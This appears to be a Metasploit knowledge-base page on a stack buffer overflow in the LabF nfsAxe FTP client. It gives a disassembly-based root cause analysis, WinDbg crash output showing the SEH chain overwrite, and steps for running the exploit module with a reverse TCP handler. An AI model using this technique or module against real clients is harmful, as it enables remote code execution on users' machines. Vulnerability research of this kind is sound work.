Knowledge Base
Vulnerable Application
LabF nfsAxe is a package of NFS servers and clients on Windows, including:
- NFS Client
- NFS Server
- FTP client
- Telnet
- LPD & LPR
- TFTP
The FTP client is vulnerable a stack-based buffer overflow due to the way it handles the server input, which could lead to arbitrary remote code execution under the context of the user.
The exploit was tested on Windows 7 Enterprise SP1 (English).
The vulnerable copy can be downloaded from Exploit-DB.
Root Cause Analysis
Inside sub_42C890() of ftp.exe, a stack buffer [esp+2424h+ptrBuffer]
is passed as an
argument to sub_42EE10():
AUTO:0042C8FF loc_42C8FF: ; CODE XREF: sub_42C890+16Aj
AUTO:0042C8FF ; sub_42C890+1B5j
AUTO:0042C8FF push edi
AUTO:0042C900 mov ebx, 3FFh
AUTO:0042C905 lea edx, [esp+2424h+ptrBuffer]
AUTO:0042C90C push 1
AUTO:0042C90E mov eax, ds:dword_465100
AUTO:0042C913 mov ecx, edi
AUTO:0042C915 call sub_42EE10 ; Call Procedure
According to IDA, the buffer size is 1024 bytes:
-0000041C ptrBuffer db 1024 dup(?)
The buffer pointer is used to receive data from the FTP server. It is passed all the way to xwpwsock!recv_dll, and then WS2_32!recv. Finally, the exploit causes the exploit to crash because the malicious string is long enough that causes an out-of-bound WRITE. This can be observed by the following demonstration with these breakpoints:
bp 0042c915 ".printf \"Passing static buffer pointer at 0x%08x\", edx; .echo ;g"
bp 0042ea0c ".printf \"Destination buffer for receive is: 0x%08x\n\", edx; .echo; g"
bp 0042eb73 ".printf \"EDX Text dump: %ma\n\", edx; .echo; .echo; g"
The WinDBG output:
Passing static buffer pointer at 0x027ff4f4
Destination buffer for receive is: 0x027ff4f4
EDX Text dump: AAAAAAAAAAAAAAA ........ AAAAAAAAAAAAAAA (a very long string)
(d48.864): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=000003fe ecx=ffffdbfc edx=000003fe esi=027ffc02 edi=02800000
eip=0042cac5 esp=027fd4ec ebp=000023ee iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ftp+0x2cac5:
0042cac5 8807 mov byte ptr [edi],al ds:0023:02800000=??
In this crash, ESI is the source input, which is filled with our malicious input:
0:001> dd esi
027ffc02 41414141 41414141 41414141 41414141
027ffc12 41414141 41414141 41414141 41414141
027ffc22 41414141 41414141 41414141 41414141
027ffc32 41414141 41414141 41414141 41414141
027ffc42 41414141 41414141 41414141 41414141
027ffc52 41414141 41414141 41414141 41414141
027ffc62 41414141 41414141 41414141 41414141
027ffc72 41414141 41414141 41414141 41414141
EDI would be the destination buffer used for this copy routine:
AUTO:0042CAC3 loc_42CAC3: ; CODE XREF: sub_42C890+249j
AUTO:0042CAC3 mov al, [esi] ; ESI is the malicious input
AUTO:0042CAC5 mov [edi], al ; EDI = our buffer, and AL is a byte from the malicious input
AUTO:0042CAC7 cmp al, 0 ; Check null byte
AUTO:0042CAC9 jz short loc_42CADB ; Done copying
AUTO:0042CACB mov al, [esi+1] ; The next byte
AUTO:0042CACE add esi, 2
AUTO:0042CAD1 mov [edi+1], al
AUTO:0042CAD4 add edi, 2
AUTO:0042CAD7 cmp al, 0
AUTO:0042CAD9 jnz short loc_42CAC3 ; Continue copying if string isn't null
Since the exploit supplies a string that is long enough, the SEH chain on the stack is also overwritten:
0:001> !exchain
027fff70: 41414141
Invalid exception stack at 41414141
The exploit simply overwrites the SEH chain to gain arbitrary code execution.
Verification Steps
To test the exploit:
- Install the application
- Start
msfconsole
- Do:
use exploit/windows/ftp/labf_nfsaxe
- Set options and payload
- Do:
exploit
- Connect to the FTP server using the FTP client
- You should get a session like the following demonstration:
msf exploit(windows/ftp/labf_nfsaxe) > run
[*] Started reverse TCP handler on 172.16.85.1:4444
[*] Please ask your target(s) to connect to 172.16.85.1:21
